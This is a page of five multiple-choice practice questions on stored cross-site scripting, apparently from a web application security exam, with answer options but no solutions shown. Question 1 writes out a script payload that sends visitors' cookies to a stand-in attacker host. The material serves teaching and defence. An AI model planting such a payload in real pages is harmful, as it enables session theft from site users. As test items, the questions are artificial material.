Stored XSS WAHS Practice Questions (Page 1)

Questions 1–5

1. 1application · medium

   A support forum allows users to post messages that are displayed to all visitors. An attacker submits a post containing `<script>fetch('//evil.example/steal?c='+document.cookie)</script>`. The script executes in the browser of every user who views the forum page. Which characteristic of Stored XSS is demonstrated by this attack?

   • AThe payload is persisted on the server and executed when any user loads the stored content.
   • BThe payload is reflected immediately in the HTTP response without being saved.
   • CThe payload is executed only in the attacker's browser during submission.
   • DThe payload is stored in the browser's local storage and runs on subsequent visits.
   Reveal Solution Discussion Select an answer first
2. 2application · medium

   A popular blog allows anonymous comments. An attacker posts a comment containing a script that steals the session cookie of any logged-in user who views the comment. Which impact is MOST directly illustrated by this scenario?

   • ADenial of service by overwhelming the server with requests.
   • BCross-site request forgery to change the user's password.
   • CSQL injection to modify the database.
   • DSession hijacking of multiple users who view the malicious comment.
   Reveal Solution Discussion Select an answer first
4. 3foundation · easy

   Which countermeasure is most effective at preventing Stored XSS when displaying user-supplied content?

   • AOutput encoding of user input when rendering it in HTML
   • BUsing HTTPS to encrypt all traffic
   • CDisabling JavaScript in the user's browser
   • DStoring user input in a database without any transformation
   Reveal Solution Discussion Select an answer first
5. 4application · medium

   An online store has a product review section. An attacker posts a review containing a malicious script. Later, the store's administrator logs in and views the product page, which displays all reviews. The script executes and sends the administrator's session cookie to an external server. Which step of the Stored XSS attack flow is most directly demonstrated by the script executing in the administrator's browser?

   • AThe payload is delivered via a phishing email that contains the script.
   • BThe attacker crafts a URL that contains the payload and tricks the admin into clicking it.
   • CThe payload is stored on the server and later rendered to a victim.
   • DThe payload is executed during the initial submission by the attacker's own browser.
   Reveal Solution Discussion Select an answer first
6. 5application · medium

   A company runs a customer review platform. A security audit reveals that the review text is vulnerable to stored XSS. The development team wants to implement a defense-in-depth approach. Which combination of controls is most effective?

   • AUse HTTPS and set the HttpOnly flag on cookies.
   • BStore the review text in a separate database and use a CDN.
   • CValidate input on the server, encode output when rendering, and set a strict Content Security Policy.
   • DDisable JavaScript in the browser for all users.
   Reveal Solution Discussion Select an answer first